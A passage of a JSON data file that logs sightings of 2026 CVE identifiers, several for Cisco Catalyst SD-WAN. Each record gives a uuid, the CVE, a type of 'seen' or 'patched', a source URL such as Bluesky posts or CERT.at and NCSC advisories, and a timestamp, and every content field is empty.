"type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mfszpmhsjc23", "content": "", "creation_timestamp": "2026-02-27T05:57:56.935221Z"}, {"uuid": "bc62535c-3d51-4c9c-acfb-1eaa3c92c987", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20129", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgbbsy5kvx2e", "content": "", "creation_timestamp": "2026-03-04T22:00:15.868812Z"}, {"uuid": "ea4f0ad6-d192-40f1-88d2-eb213d473af2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mfpqd272so2j", "content": "", "creation_timestamp": "2026-02-25T22:31:52.916767Z"}, {"uuid": "778eab12-c7f7-4b7b-af41-e94157889e22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20002", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgbbtal6te2x", "content": "", "creation_timestamp": "2026-03-04T22:00:24.724645Z"}, {"uuid": "90311201-19c9-45d5-a0ec-f6fcde329329", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3mfpqgian6s27", "content": "", "creation_timestamp": "2026-02-25T22:33:47.569948Z"}, {"uuid": "3c09a7da-29ba-4eb6-aea1-310b92f29a60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mfrbyuru3f26", "content": "", "creation_timestamp": "2026-02-26T13:20:59.381204Z"}, {"uuid": "3d286f8a-11ac-4df2-956c-b8ef0b45c64d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20082", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgbc46z56e2o", "content": "", "creation_timestamp": "2026-03-04T22:05:25.372586Z"}, {"uuid": "075cbf4c-bc80-469c-8462-77539b6420c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20026", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-046/", "content": "", "creation_timestamp": "2026-01-28T05:00:00.000000Z"}, {"uuid": "a48dbb73-4ac7-498f-a0e0-95120d26d973", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mfrd2fvim22w", "content": "", "creation_timestamp": "2026-02-26T13:39:55.587547Z"}, {"uuid": "5876f9f8-309e-48ab-9cc4-cbe3f23ba496", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/securitylab-jp.bsky.social/post/3mg2fdqjin22i", "content": "", "creation_timestamp": "2026-03-02T04:14:46.673530Z"}, {"uuid": "27b623c5-fef3-4f6e-a1e6-bb6a6ee5b2bd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20817", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mg6e5xtgwc2m", "content": "", "creation_timestamp": "2026-03-03T18:04:14.612579Z"}, {"uuid": "cbcd236e-fc8b-48e4-ae85-4c8c0da514b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20101", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgbcf5gvpw2e", "content": "", "creation_timestamp": "2026-03-04T22:10:25.613601Z"}, {"uuid": "9c43450f-0fb4-4320-a8f4-46e8a1fcde58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20027", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-26-045/", "content": "", "creation_timestamp": "2026-01-28T05:00:00.000000Z"}, {"uuid": "e5aff622-3d68-4883-a627-54b4a14c05e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mfrd2jvwxc2w", "content": "", "creation_timestamp": "2026-02-26T13:39:57.369457Z"}, {"uuid": "5ae9435f-a76b-4d55-8bda-6e063d5563f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20944", "type": "seen", "source": "https://bsky.app/profile/cvedatabase.bsky.social/post/3mdwypi3zeg2z", "content": "", "creation_timestamp": "2026-02-03T09:00:14.865402Z"}, {"uuid": "2289e624-5fdd-425f-9de7-688c5bff4ad7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20822", "type": "seen", "source": "https://bsky.app/profile/cvedatabase.bsky.social/post/3mdwypi3zeg2z", "content": "", "creation_timestamp": "2026-02-03T09:00:15.002745Z"}, {"uuid": "f93182a4-c9b0-42b8-abdc-3d0e67a5e5d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2070", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mea2b4jy522v", "content": "", "creation_timestamp": "2026-02-06T23:21:58.412823Z"}, {"uuid": "8b98c675-bdb5-4312-add2-790a79e782c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20742", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mfszuhcatc2t", "content": "", "creation_timestamp": "2026-02-27T06:00:40.163473Z"}, {"uuid": "bc0fd695-c9fd-43ba-a9fb-4028c9fd9632", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/basefortify.bsky.social/post/3mfrd2mvtcs2w", "content": "", "creation_timestamp": "2026-02-26T13:39:59.027542Z"}, {"uuid": "70996008-dfc4-4d95-8e10-b82372e83a47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20103", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgbco3ujgb2k", "content": "", "creation_timestamp": "2026-03-04T22:15:25.976596Z"}, {"uuid": "9ba8c4cc-4b6a-403a-ad4a-72f787f5ad17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://infosec.exchange/users/jbhall56/statuses/116205014352045063", "content": "", "creation_timestamp": "2026-03-10T13:03:30.563452Z"}, {"uuid": "b28aba9b-3a8c-4707-aca5-c0e40826bb85", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20902", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfwp6ur4qn2m", "content": "", "creation_timestamp": "2026-02-28T17:00:16.813982Z"}, {"uuid": "5d78b55b-075a-4c7d-a97e-198681b037a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mg6fp65ktq2i", "content": "", "creation_timestamp": "2026-03-03T18:31:44.480054Z"}, {"uuid": "53094600-6f96-4beb-bfbb-0f717a8f6701", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20805", "type": "seen", "source": "https://bsky.app/profile/pigondrugs.bsky.social/post/3mgeghxcimq2i", "content": "", "creation_timestamp": "2026-03-06T04:01:33.938869Z"}, {"uuid": "20bf2f00-3406-4646-9910-46f596ab7b40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mgfcv6epdc23", "content": "", "creation_timestamp": "2026-03-06T12:30:03.374128Z"}, {"uuid": "8fc61ce9-a622-449a-b6be-a250d2b793fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://bsky.app/profile/rankednews.bsky.social/post/3mgh5z6lbpj2g", "content": "", "creation_timestamp": "2026-03-07T06:08:07.923608Z"}, {"uuid": "76839a7a-e723-4b98-bff8-9ccf68889ac2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/m0bi.mastodon.com.pl.ap.brid.gy/post/3metxaba2tnr2", "content": "", "creation_timestamp": "2026-02-14T21:21:03.101885Z"}, {"uuid": "224ef90c-f0d5-4c59-bde2-9344f0ce445a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20902", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mft2wcqhps25", "content": "", "creation_timestamp": "2026-02-27T06:19:35.958301Z"}, {"uuid": "07d03a15-9a22-4be9-9a2e-05022e5edc59", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://infosec.exchange/users/AAKL/statuses/116166693676891309", "content": "", "creation_timestamp": "2026-03-03T18:37:55.375141Z"}, {"uuid": "108969f7-6144-4fcb-af81-e15d6e16adcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://gist.github.com/alon710/ea2f297d04de8823aedd27e12502bd5b", "content": "", "creation_timestamp": "2026-03-05T10:40:06.000000Z"}, {"uuid": "0eee611f-806a-4387-a754-96f0237933f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mgfcv6epdc23", "content": "", "creation_timestamp": "2026-03-06T12:30:03.514800Z"}, {"uuid": "c1429e84-ad7e-4bc8-8576-c1dae9ad04bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3mfcqlnx62c32", "content": "", "creation_timestamp": "2026-02-20T18:35:45.858563Z"}, {"uuid": "1e0d6a33-9e87-43de-9c08-8647b2bb81ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/2/kritische-sicherheitslucken-in-cisco-catalyst-sd-wan-aktiv-ausgenutzt-updates-verfugbar", "content": "", "creation_timestamp": "2026-02-26T11:58:53.000000Z"}, {"uuid": "b9a7b124-d703-46a1-8ca9-3cdd78af6f4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20910", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mft2wkmovn2n", "content": "", "creation_timestamp": "2026-02-27T06:19:44.611383Z"}, {"uuid": "deff11f7-30fa-4d12-af21-28487e7fbac4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20129", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/2/kritische-sicherheitslucken-in-cisco-catalyst-sd-wan-aktiv-ausgenutzt-updates-verfugbar", "content": "", "creation_timestamp": "2026-02-26T11:58:53.000000Z"}, {"uuid": "8e122054-5d97-4b26-9669-c6b79c89bd2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "cve-2026-20700", "type": "patched", "source": "https://www.theregister.com/2026/02/12/apple_ios_263/", "content": "", "creation_timestamp": "2026-02-14T23:18:45.585380Z"}, {"uuid": "ec6c0b4a-7521-4442-8ba1-9f91cd467ca0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20126", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/2/kritische-sicherheitslucken-in-cisco-catalyst-sd-wan-aktiv-ausgenutzt-updates-verfugbar", "content": "", "creation_timestamp": "2026-02-26T11:58:53.000000Z"}, {"uuid": "fbff76b4-56c9-47ed-8ee0-f8babb321531", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20133", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/2/kritische-sicherheitslucken-in-cisco-catalyst-sd-wan-aktiv-ausgenutzt-updates-verfugbar", "content": "", "creation_timestamp": "2026-02-26T11:58:53.000000Z"}, {"uuid": "9f48c7bd-d852-4d59-aebe-b30f120106d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mgbcwkndfq2q", "content": "", "creation_timestamp": "2026-03-04T22:20:10.368084Z"}, {"uuid": "350c405c-434c-4fbf-9ed7-43cb51347226", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3meqmdblvmt24", "content": "", "creation_timestamp": "2026-02-13T13:27:52.888515Z"}, {"uuid": "258bc18a-5a1f-433b-a4bf-de86e52bd1a5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/2/kritische-sicherheitslucken-in-cisco-catalyst-sd-wan-aktiv-ausgenutzt-updates-verfugbar", "content": "", "creation_timestamp": "2026-02-26T11:58:53.000000Z"}, {"uuid": "cd658338-043f-4b08-9a80-e41e8dcf0a05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2045", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfnxrx5bx52r", "content": "", "creation_timestamp": "2026-02-25T05:40:09.099187Z"}, {"uuid": "7f6ced43-9335-4df8-b45e-75d43ee3b193", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://www.cert.at/de/warnungen/2026/2/kritische-sicherheitslucken-in-cisco-catalyst-sd-wan-aktiv-ausgenutzt-updates-verfugbar", "content": "", "creation_timestamp": "2026-02-26T11:58:53.000000Z"}, {"uuid": "c26a5a3a-d7ff-4b0a-9a27-14552c0201b2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/lordman1982.bsky.social/post/3mgcnfzhx4v2n", "content": "", "creation_timestamp": "2026-03-05T11:00:26.361417Z"}, {"uuid": "34168724-1bcd-4855-a705-0e1646ce6ae2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20700", "type": "seen", "source": "https://bsky.app/profile/ahmandonk.bsky.social/post/3meqo3efsml26", "content": "", "creation_timestamp": "2026-02-13T13:59:15.499432Z"}, {"uuid": "bed26a28-8bc8-440f-b380-64009de49c14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20764", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mfx4ly7hws2w", "content": "", "creation_timestamp": "2026-02-28T21:00:15.307952Z"}, {"uuid": "aced3895-5d5d-4283-bccd-af04dc1b92ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mgbd7yqk5c2n", "content": "", "creation_timestamp": "2026-03-04T22:25:26.714323Z"}, {"uuid": "b24f3fdd-446f-4b54-a75b-8d61a0be8556", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/mrstew.bsky.social/post/3melb3brh7k23", "content": "", "creation_timestamp": "2026-02-11T10:23:15.400053Z"}, {"uuid": "08a82b96-6850-401a-bc31-14be936473be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mfrfwxbnex2r", "content": "", "creation_timestamp": "2026-02-26T14:31:30.957097Z"}, {"uuid": "6e3b2db2-44cf-4666-a4a5-895e0e58a844", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/newsyc200.bsky.social/post/3melb3j5e562i", "content": "", "creation_timestamp": "2026-02-11T10:23:22.862521Z"}, {"uuid": "603fa463-dab4-489f-ad6e-1af0cccb1210", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20792", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mft32i3wmx2f", "content": "", "creation_timestamp": "2026-02-27T06:21:55.559758Z"}, {"uuid": "95382864-f45b-42ba-9c71-7cbbbf5e202a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20617", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116055777778769880", "content": "", "creation_timestamp": "2026-02-12T04:30:33.283785Z"}, {"uuid": "94d931aa-02f9-4348-931a-75f465582eba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0064", "content": "", "creation_timestamp": "2026-02-13T12:35:03.000000Z"}, {"uuid": "3a9e27a9-37d3-4754-a49f-2eee8f8b3236", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-20617", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3men5tlbujs2b", "content": "", "creation_timestamp": "2026-02-12T04:30:35.335452Z"}, {"uuid": "fc1a0feb-6d06-47b2-9a41-6947622fbff8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20781", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mft57h7otd2s", "content": "", "creation_timestamp": "2026-02-27T07:00:29.798593Z"}, {"uuid": "0dcbc033-5442-469b-8938-06c41ebf757f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/newsyc250.bsky.social/post/3meldd2nmup2q", "content": "", "creation_timestamp": "2026-02-11T11:03:23.543070Z"}, {"uuid": "6cc6089e-f2f6-47b3-90f7-3817f9a4d681", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/achraf-dh.bsky.social/post/3mfrgdi3v6k2w", "content": "", "creation_timestamp": "2026-02-26T14:38:31.215732Z"}, {"uuid": "e199afcf-9f62-432d-a38d-b2cca16bf673", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20079", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0076", "content": "", "creation_timestamp": "2026-03-04T19:49:12.000000Z"}, {"uuid": "f60dd788-c721-4b42-8340-022ec76efd2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/nah.re/post/3meldpc4x5i42", "content": "", "creation_timestamp": "2026-02-11T11:10:18.165045Z"}, {"uuid": "4a87ec2c-c8de-46c9-9126-d9c8f3a7f75c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20131", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0076", "content": "", "creation_timestamp": "2026-03-04T19:49:12.000000Z"}, {"uuid": "ee46130a-def6-44ff-940f-0b4652a255c3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3menacylefp2e", "content": "", "creation_timestamp": "2026-02-12T05:14:59.964679Z"}, {"uuid": "dd13c20e-6461-4ad0-add3-53eb015f56d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20010", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mfrggi53ya2w", "content": "", "creation_timestamp": "2026-02-26T14:40:09.287621Z"}, {"uuid": "2771167a-490c-441e-be82-73041e254637", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20051", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mfrggi53ya2w", "content": "", "creation_timestamp": "2026-02-26T14:40:09.620338Z"}, {"uuid": "ac77df9a-6f85-483f-861b-839ad5ea2a2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20609", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116055984470118971", "content": "", "creation_timestamp": "2026-02-12T05:23:10.202031Z"}, {"uuid": "bc2f9af7-2d05-400f-bd69-3d5ab499d825", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20033", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mfrggi53ya2w", "content": "", "creation_timestamp": "2026-02-26T14:40:09.419942Z"}, {"uuid": "65c171f5-945b-4cec-9618-8acce5ec20a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116176479912988309", "content": "", "creation_timestamp": "2026-03-05T12:06:41.335310Z"}, {"uuid": "6e7ff464-8f47-4a49-860a-66cf17f180c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20048", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3mfrggi53ya2w", "content": "", "creation_timestamp": "2026-02-26T14:40:09.527794Z"}, {"uuid": "d5f2d330-2239-4596-823c-ef8bf03fe60e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20122", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116176479912988309", "content": "", "creation_timestamp": "2026-03-05T12:06:41.408139Z"}, {"uuid": "578d4daa-fcea-4138-826d-e50083c75321", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2020", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mghf4uyagj25", "content": "", "creation_timestamp": "2026-03-07T08:15:28.378558Z"}, {"uuid": "a3a4dcde-ba46-4714-b5a7-640a1206731d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20127", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mgie4qubmm2m", "content": "", "creation_timestamp": "2026-03-07T17:30:09.604350Z"}, {"uuid": "2c0538e4-a2eb-4e6d-b5fb-624cb8bb24b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20841", "type": "seen", "source": "https://bsky.app/profile/tux0r.layer8.space.ap.brid.gy/post/3melenaazbrh2", "content": "", "creation_timestamp": "2026-02-11T11:27:04.376228Z"}, {"uuid": "55c966b1-c3bf-43f0-af0a-73bad23d2fc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20128", "type": "seen", "source": "https://bsky.app/profile/e-kiledjian.bsky.social/post/3mgcr5jawyk2x", "content": "", "creation_timestamp": "2026-03-05T12:07:17.441553Z"}, {"uuid": "a90dd090-34b0-46f7-a3f9-0f6770fe4b5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20700", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116056037389912362", "content": "", "creation_timestamp": 